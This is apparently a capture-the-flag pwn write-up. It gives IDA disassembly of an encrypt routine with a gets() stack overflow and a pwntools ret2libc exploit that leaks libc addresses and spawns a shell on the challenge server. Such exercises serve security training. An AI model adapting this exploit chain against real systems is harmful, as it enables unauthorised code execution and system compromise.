25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
.text:00000000004009A0                 push    rbp
.text:00000000004009A1 mov rbp, rsp
.text:00000000004009A4 push rbx
.text:00000000004009A5 sub rsp, 48h
.text:00000000004009A9 ; 7: memset(s, 0, sizeof(s));
.text:00000000004009A9 lea rdx, [rbp+s]
.text:00000000004009AD mov eax, 0
.text:00000000004009B2 mov ecx, 6
.text:00000000004009B7 mov rdi, rdx
.text:00000000004009BA rep stosq
.text:00000000004009BD ; 8: v3 = 0;
.text:00000000004009BD mov rdx, rdi
.text:00000000004009C0 mov [rdx], ax
.text:00000000004009C3 ; 9: puts("Input your Plaintext to be encrypted");
.text:00000000004009C3 add rdx, 2
.text:00000000004009C7 mov edi, offset aInputYourPlain ; "Input your Plaintext to be encrypted"
.text:00000000004009CC call _puts
.text:00000000004009D1 ; 10: gets(s);
.text:00000000004009D1 lea rax, [rbp+s]
.text:00000000004009D5 mov rdi, rax
.text:00000000004009D8 mov eax, 0
.text:00000000004009DD call _gets
.text:00000000004009E2 jmp loc_400AB4
.text:00000000004009E7 ; ---------------------------------------------------------------------------
.text:00000000004009E7 ; 16: if ( s[x] <= 96 || s[x] > 122 )
.text:00000000004009E7
.text:00000000004009E7 loc_4009E7: ; CODE XREF: encrypt+12B↓j
.text:00000000004009E7 mov eax, cs:x
.text:00000000004009ED mov eax, eax
.text:00000000004009EF movzx eax, [rbp+rax+s]
.text:00000000004009F4 cmp al, 60h ; '`'
.text:00000000004009F6 jle short loc_400A27
.text:00000000004009F8 mov eax, cs:x
.text:00000000004009FE mov eax, eax
.text:0000000000400A00 movzx eax, [rbp+rax+s]
.text:0000000000400A05 cmp al, 7Ah ; 'z'
.text:0000000000400A07 jg short loc_400A27
.text:0000000000400A09 ; 30: s[x] ^= 0xEu;
.text:0000000000400A09 mov eax, cs:x
.text:0000000000400A0F mov edx, cs:x
.text:0000000000400A15 mov edx, edx
.text:0000000000400A17 movzx edx, [rbp+rdx+s]
.text:0000000000400A1C xor edx, 0Eh
.text:0000000000400A1F mov eax, eax
.text:0000000000400A21 mov [rbp+rax+s], dl
.text:0000000000400A25 jmp short loc_400AA5
.text:0000000000400A27 ; ---------------------------------------------------------------------------
.text:0000000000400A27 ; 18: if ( s[x] <= 64 || s[x] > 90 )
.text:0000000000400A27
.text:0000000000400A27 loc_400A27: ; CODE XREF: encrypt+56↑j
.text:0000000000400A27 ; encrypt+67↑j
.text:0000000000400A27 mov eax, cs:x
.text:0000000000400A2D mov eax, eax
.text:0000000000400A2F movzx eax, [rbp+rax+s]
.text:0000000000400A34 cmp al, 40h ; '@'
.text:0000000000400A36 jle short loc_400A67
.text:0000000000400A38 mov eax, cs:x
.text:0000000000400A3E mov eax, eax
.text:0000000000400A40 movzx eax, [rbp+rax+s]
.text:0000000000400A45 cmp al, 5Ah ; 'Z'
.text:0000000000400A47 jg short loc_400A67
.text:0000000000400A49 ; 25: s[x] ^= 0xDu;
.text:0000000000400A49 mov eax, cs:x
.text:0000000000400A4F mov edx, cs:x
.text:0000000000400A55 mov edx, edx
.text:0000000000400A57 movzx edx, [rbp+rdx+s]
.text:0000000000400A5C xor edx, 0Dh
.text:0000000000400A5F mov eax, eax
.text:0000000000400A61 mov [rbp+rax+s], dl
.text:0000000000400A65 jmp short loc_400AA5
.text:0000000000400A67 ; ---------------------------------------------------------------------------
.text:0000000000400A67 ; 20: if ( s[x] > 47 && s[x] <= 57 )
.text:0000000000400A67
.text:0000000000400A67 loc_400A67: ; CODE XREF: encrypt+96↑j
.text:0000000000400A67 ; encrypt+A7↑j
.text:0000000000400A67 mov eax, cs:x
.text:0000000000400A6D mov eax, eax
.text:0000000000400A6F movzx eax, [rbp+rax+s]
.text:0000000000400A74 cmp al, 2Fh ; '/'
.text:0000000000400A76 jle short loc_400AA5
.text:0000000000400A78 mov eax, cs:x
.text:0000000000400A7E mov eax, eax
.text:0000000000400A80 movzx eax, [rbp+rax+s]
.text:0000000000400A85 cmp al, 39h ; '9'
.text:0000000000400A87 jg short loc_400AA5
.text:0000000000400A89 ; 21: s[x] ^= 0xCu;
.text:0000000000400A89 mov eax, cs:x
.text:0000000000400A8F mov edx, cs:x
.text:0000000000400A95 mov edx, edx
.text:0000000000400A97 movzx edx, [rbp+rdx+s]
.text:0000000000400A9C xor edx, 0Ch
.text:0000000000400A9F mov eax, eax
.text:0000000000400AA1 mov [rbp+rax+s], dl
.text:0000000000400AA5 ; 32: ++x;
.text:0000000000400AA5
.text:0000000000400AA5 loc_400AA5: ; CODE XREF: encrypt+85↑j
.text:0000000000400AA5 ; encrypt+C5↑j ...
.text:0000000000400AA5 mov eax, cs:x
.text:0000000000400AAB add eax, 1
.text:0000000000400AAE mov cs:x, eax
.text:0000000000400AB4 ; 13: v0 = (unsigned int)x;
.text:0000000000400AB4
.text:0000000000400AB4 loc_400AB4: ; CODE XREF: encrypt+42↑j
.text:0000000000400AB4 mov eax, cs:x
.text:0000000000400ABA ; 11: while ( 1 )
.text:0000000000400ABA mov ebx, eax
.text:0000000000400ABC ; 14: if ( v0 >= strlen(s) )
.text:0000000000400ABC lea rax, [rbp+s]
.text:0000000000400AC0 mov rdi, rax ; s
.text:0000000000400AC3 call _strlen
.text:0000000000400AC8 ; 15: break;
.text:0000000000400AC8 cmp rbx, rax
.text:0000000000400ACB jb loc_4009E7
.text:0000000000400AD1 ; 34: puts("Ciphertext");
.text:0000000000400AD1 mov edi, offset aCiphertext ; "Ciphertext"
.text:0000000000400AD6 call _puts
.text:0000000000400ADB ; 35: return puts(s);
.text:0000000000400ADB lea rax, [rbp+s]
.text:0000000000400ADF mov rdi, rax ; s
.text:0000000000400AE2 call _puts
.text:0000000000400AE7 nop
.text:0000000000400AE8 add rsp, 48h
.text:0000000000400AEC pop rbx
.text:0000000000400AED pop rbp
.text:0000000000400AEE retn

libc6_2.23-0ubuntu11.3_amd64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from struct import pack
from ctypes import *
from pwn import *
from LibcSearcher import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 22814
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
sl("1")
offset = 0x50 + 8

payload1 = flat([cyclic(offset),rdi,elf.got['puts'],elf.plt['puts'],0x4009A0])
sl(payload1)
rl('Ciphertext\n')
rl('\n')
puts = u64(p.recv(6).ljust(8,b'\x00'))
success("put: {:#x}".format(puts))

payload1 = flat([cyclic(offset),rdi,elf.got['gets'],elf.plt['puts'],0x4009A0])
sl(payload1)
rl('Ciphertext\n')
rl('\n')
gets = u64(p.recv(6).ljust(8,b'\x00'))
success("gets: {:#x}".format(gets))

# libc = LibcSearcher('puts',puts)

libc_base = puts - 0x6f6a0
system = 0x453a0 + libc_base
str_bin_sh = 0x18ce57 + libc_base
payload2 = flat([cyclic(offset),ret,rdi,str_bin_sh,system])
sl(payload2)
inter()